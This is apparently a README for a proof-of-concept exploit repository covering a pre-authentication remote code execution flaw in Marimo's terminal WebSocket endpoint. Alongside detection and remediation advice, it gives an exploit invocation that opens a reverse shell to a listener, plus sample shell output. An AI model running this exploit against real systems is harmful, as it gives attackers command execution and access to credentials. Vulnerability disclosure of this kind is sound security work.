CVE-2026-39987 — Marimo Pre-Authentication RCE

CVE-2026-39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability affecting Marimo, a reactive Python notebook environment.

The vulnerability exists in Marimo's terminal WebSocket endpoint:

/terminal/ws

The endpoint failed to properly enforce authentication before creating a terminal session. As a result, an unauthenticated remote attacker capable of reaching a vulnerable Marimo instance can establish a WebSocket connection and obtain an interactive PTY shell.

No valid credentials are required.

Vulnerability Summary

The vulnerability was caused by inconsistent authentication enforcement between Marimo's WebSocket endpoints.

While other WebSocket functionality performs authentication validation, the vulnerable /terminal/ws endpoint could accept a connection without first validating the caller.

Root Cause

The vulnerable terminal endpoint creates an interactive PTY after accepting a WebSocket connection.

Conceptually, the vulnerable request flow is:

Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

The important security boundary is the missing authentication check.

An endpoint exposing arbitrary command execution must not allow an unauthenticated client to reach the PTY creation logic.

Impact

Successful exploitation can provide arbitrary command execution with the privileges of the Marimo process.

Depending on the deployment configuration, this may allow an attacker to:

• Execute arbitrary operating-system commands
• Read application files
• Access environment variables
• Access credentials available to the Marimo process
• Access files mounted into the container
• Pivot further into an internal environment
• Compromise the underlying host or container when excessive privileges are available

The impact is particularly significant for notebook environments because they commonly have access to datasets, APIs, credentials, cloud resources, and development infrastructure.

Proof of Concept

Warning: Run the PoC only against systems you own or are explicitly authorized to test.

This repository contains a PoC for demonstrating the vulnerability in a controlled environment.

The example below demonstrates exploitation against a local/lab instance.

Start the vulnerable target

For example:

http://127.0.0.1:8081

The vulnerable Marimo instance should be running before launching the PoC.

Launch the PoC

Example:

python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

Where:

-u       Target Marimo instance
--host   Listener IP
--port   Listener port

The PoC establishes the vulnerable terminal connection and waits for the resulting shell connection.

Example output:

[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Shell Demonstration

After successful exploitation, the attacker receives a shell running under the privileges of the Marimo process.

Identify the current user

whoami

Example:

marimo

Verify process identity

id

Example:

uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

This demonstrates that arbitrary commands are being executed remotely as the marimo account.

File-System Demonstration

The PoC can also demonstrate access to the filesystem available to the compromised process.

ls -la

Example:

total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

Moving to the filesystem root:

cd /
ls

Example:

bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

This confirms that the remote shell has normal filesystem access subject to the privileges and container restrictions of the Marimo process.

Exploitation Chain

The complete vulnerability chain can be summarized as:

1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

The critical security failure occurs at step 3.

Detection

Potential indicators of exploitation include unexpected WebSocket connections to:

/terminal/ws

and unusual process activity originating from the Marimo server.

Defenders should investigate:

• Unexpected connections to the terminal WebSocket endpoint
• Unexpected shell processes spawned by Marimo
• Suspicious child processes
• Unexpected outbound connections
• Access to sensitive environment variables
• Unexpected file-system activity
• Unknown commands executed by the Marimo process

Remediation

Upgrade Marimo to a fixed release:

0.23.0 or later

Additionally:

• Do not expose Marimo directly to the public Internet unless necessary.
• Place notebook services behind an authenticated reverse proxy.
• Restrict network access to trusted users and networks.
• Run Marimo with the minimum privileges required.
• Avoid mounting sensitive host directories into the container.
• Rotate credentials that may have been accessible to compromised instances.
• Review logs for suspicious /terminal/ws activity.
• Investigate potentially compromised instances rather than assuming patching alone removes attacker persistence.

Security Classification

CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

References

• NVD — CVE-2026-39987
• GitHub Security Advisory — GHSA-2679-6mx9-h9xc
• Marimo security advisory and patch
• CISA Known Exploited Vulnerabilities Catalog

Disclaimer

This project is provided for security research, vulnerability validation, and educational purposes. Do not use the PoC against systems that you do not own or have explicit authorization to test.